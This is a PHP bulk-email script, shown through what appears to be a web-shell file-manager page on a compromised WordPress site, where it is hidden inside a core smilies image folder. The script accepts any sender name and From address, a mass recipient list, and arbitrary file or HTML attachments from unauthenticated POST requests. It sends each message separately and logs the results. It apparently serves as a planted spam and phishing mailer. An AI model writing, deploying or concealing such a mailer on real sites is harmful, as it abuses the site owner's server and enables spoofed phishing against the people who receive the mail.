Your IP : 216.73.216.40


Current Path : /home/ladengineer/public_html/wp-includes/images/smilies/lib/
Upload File :
Current File : /home/ladengineer/public_html/wp-includes/images/smilies/lib/send.php

<?php
// send.php

// Disable display errors to avoid corrupting JSON output (set to 1 if debugging)
ini_set('display_errors', 0);
error_reporting(E_ALL);

// Set UTF-8 headers
header('Content-Type: application/json; charset=utf-8');

// Include PHPMailer classes manually from root folder
$requiredFiles = ['Exception.php', 'PHPMailer.php', 'SMTP.php'];
foreach ($requiredFiles as $file) {
    $path = __DIR__ . '/' . $file;
    if (!file_exists($path)) {
        echo json_encode(['success' => false, 'message' => "Required PHPMailer file missing: $file"]);
        exit;
    }
    require_once $path;
}

use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;

// Error log function
function log_error($msg) {
    $logFile = __DIR__ . '/error.txt';
    file_put_contents($logFile, "[" . date('Y-m-d H:i:s') . "] " . $msg . "\n", FILE_APPEND);
}

// Shutdown function to catch fatal errors
register_shutdown_function(function () {
    $error = error_get_last();
    if ($error !== NULL) {
        $msg = "Fatal error: {$error['message']} in {$error['file']} on line {$error['line']}";
        log_error($msg);
    }
});

// Read and sanitize POST inputs from JS (expecting fully processed content)
// Tag replacement is NOT done here anymore, all fields are final

$senderNameRaw = $_POST['senderName'] ?? '';
$senderEmailRaw = $_POST['senderEmail'] ?? '';
$replyToRaw = $_POST['replyTo'] ?? '';
$subjectRaw = $_POST['emailSubject'] ?? '';
$recipientListRaw = $_POST['recipientEmails'] ?? '';
$emailBodyRaw = $_POST['emailBody'] ?? '';

$useSmtp = ($_POST['useSmtp'] ?? '0') === '1';
$smtpSettingsRaw = $_POST['smtpSettings'] ?? null;

$useHtmlAttachment = ($_POST['useHtmlAttachment'] ?? '0') === '1';
$htmlAttachmentContent = $_POST['htmlAttachmentContent'] ?? '';
$htmlAttachmentName = $_POST['htmlAttachmentName'] ?? 'attachment';
$htmlAttachmentExt = $_POST['htmlAttachmentExt'] ?? 'html';

$emailFormat = $_POST['emailFormat'] ?? 'plain';

// Validate required fields individually and report which are missing
$missingFields = [];
if (!$senderNameRaw) {
    $missingFields[] = 'senderName';
}
if (!$senderEmailRaw) {
    $missingFields[] = 'senderEmail';
}
if (!$subjectRaw) {
    $missingFields[] = 'emailSubject';
}
if (!$recipientListRaw) {
    $missingFields[] = 'recipientEmails';
}
if (!$emailBodyRaw) {
    $missingFields[] = 'emailBody';
}

if (!empty($missingFields)) {
    $missingList = implode(', ', $missingFields);
    echo json_encode([
        'success' => false,
        'message' => 'Missing required field(s): ' . $missingList
    ]);
    exit;
}

// Convert inputs to UTF-8 - simplified like test script
$senderName = trim($senderNameRaw);
$senderEmail = trim($senderEmailRaw);
$replyTo = trim($replyToRaw);
$subject = trim($subjectRaw);
$emailBody = trim($emailBodyRaw);

// Parse recipient emails (array of already processed, valid emails from JS)
// But still validate on server side for safety
$recipients = preg_split('/[\s,;]+/', $recipientListRaw, -1, PREG_SPLIT_NO_EMPTY);

if (count($recipients) === 0) {
    echo json_encode(['success' => false, 'message' => 'No valid recipient emails found.']);
    exit;
}

// Load file attachment if exists
$attachmentPath = null;
$attachmentName = null;
if (!empty($_FILES['attachment']) && $_FILES['attachment']['error'] === UPLOAD_ERR_OK) {
    $attachmentTmpPath = $_FILES['attachment']['tmp_name'];
    $attachmentName = $_FILES['attachment']['name'];
    $attachmentPath = $attachmentTmpPath;
}

// Decode SMTP settings JSON if used
$smtpSettings = [];
if ($useSmtp && $smtpSettingsRaw) {
    $smtpSettings = json_decode($smtpSettingsRaw, true);
    if (!is_array($smtpSettings)) {
        log_error("Invalid SMTP settings JSON: " . $smtpSettingsRaw);
        echo json_encode(['success' => false, 'message' => 'Invalid SMTP settings data.']);
        exit;
    }
    // Log SMTP settings for debugging (remove passwords)
    $debugSettings = $smtpSettings;
    foreach ($debugSettings as &$setting) {
        if (isset($setting['pass'])) {
            $setting['pass'] = '[REDACTED]';
        }
    }
    log_error("SMTP Settings loaded: " . json_encode($debugSettings));
}

// Initialize base PHPMailer object
$mail = new PHPMailer(true);
$mail->CharSet = 'UTF-8';

// Enable debug output for troubleshooting (comment out in production)
// $mail->SMTPDebug = 2;
// $mail->Debugoutput = function($str, $level) { log_error("PHPMailer Debug: $str"); };

try {
    if ($useSmtp) {
        // Use first SMTP config
        $smtpConfig = $smtpSettings[0];

        $mail->isSMTP();
        $mail->Host = $smtpConfig['host'];
        $mail->SMTPAuth = true;
        $mail->Username = $smtpConfig['user'];
        $mail->Password = $smtpConfig['pass'];
        $mail->Port = (int)$smtpConfig['port'];
        
        // Handle encryption properly like the test script
        $encrypt = strtolower($smtpConfig['encrypt']);
        if ($encrypt === 'ssl') {
            $mail->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS;
        } elseif ($encrypt === 'tls') {
            $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS;
        } else {
            $mail->SMTPSecure = false;
            $mail->SMTPAutoTLS = false;
        }
        
        // Set From address for SMTP (this was missing)
        $mail->setFrom($senderEmail, $senderName);
    } else {
        // Use mail() function and set From
        $mail->isMail();
        $mail->setFrom($senderEmail, $senderName);
    }

    // Add Reply-To only if provided
    if (!empty($replyTo)) {
        $mail->addReplyTo($replyTo);
    }

    // Attach file if present
    if ($attachmentPath) {
        $mail->addAttachment($attachmentPath, $attachmentName);
    }

    // Attach HTML attachment if enabled
    if ($useHtmlAttachment) {
        $tmpHtmlFile = tempnam(sys_get_temp_dir(), 'htmlattach');
        file_put_contents($tmpHtmlFile, $htmlAttachmentContent);

        $attachmentFilename = $htmlAttachmentName;
        if ($htmlAttachmentExt !== '') {
            $attachmentFilename .= '.' . preg_replace('/[^a-z0-9]/i', '', $htmlAttachmentExt);
        } else {
            $attachmentFilename .= '.html';
        }

        $mail->addAttachment($tmpHtmlFile, $attachmentFilename);
    }

    $mail->isHTML($emailFormat === 'html');

    $allSuccess = true;
    $errors = [];

    // Send email per recipient as-is (no tag replacement here)
    foreach ($recipients as $recipient) {
        $recipient = trim($recipient);
        if (filter_var($recipient, FILTER_VALIDATE_EMAIL) === false) {
            $errors[] = "Invalid email address: $recipient";
            log_error("Invalid email address detected: $recipient");
            $allSuccess = false;
            continue;
        }

        // Clone mail object to isolate each recipient
        $mailPerRecipient = clone $mail;

        $mailPerRecipient->clearAddresses();
        $mailPerRecipient->addAddress($recipient);

        // Use subject and body directly without replacement
        $mailPerRecipient->Subject = $subject;

        if ($emailFormat === 'html') {
            $mailPerRecipient->Body = $emailBody;
            $mailPerRecipient->AltBody = strip_tags($emailBody);
        } else {
            $mailPerRecipient->Body = $emailBody;
            $mailPerRecipient->AltBody = $emailBody;
        }

        if (!$mailPerRecipient->send()) {
            $errMsg = "Failed to send to $recipient: " . $mailPerRecipient->ErrorInfo;
            $errors[] = $errMsg;
            log_error($errMsg);
            $allSuccess = false;
        } else {
            log_error("Successfully sent email to: $recipient");
        }
    }

    // Clean up temporary HTML attachment file if created
    if ($useHtmlAttachment && isset($tmpHtmlFile) && file_exists($tmpHtmlFile)) {
        unlink($tmpHtmlFile);
    }

    if ($allSuccess) {
        echo json_encode(['success' => true, 'message' => 'All emails sent successfully.']);
    } else {
        echo json_encode(['success' => false, 'message' => 'Errors occurred.', 'errors' => $errors]);
    }
} catch (Exception $e) {
    $errorDetails = "Mailer Exception: " . $e->getMessage() . " in " . $e->getFile() . " on line " . $e->getLine();
    log_error($errorDetails);
    echo json_encode(['success' => false, 'message' => 'Mailer Exception occurred. Check error.txt for details.']);
}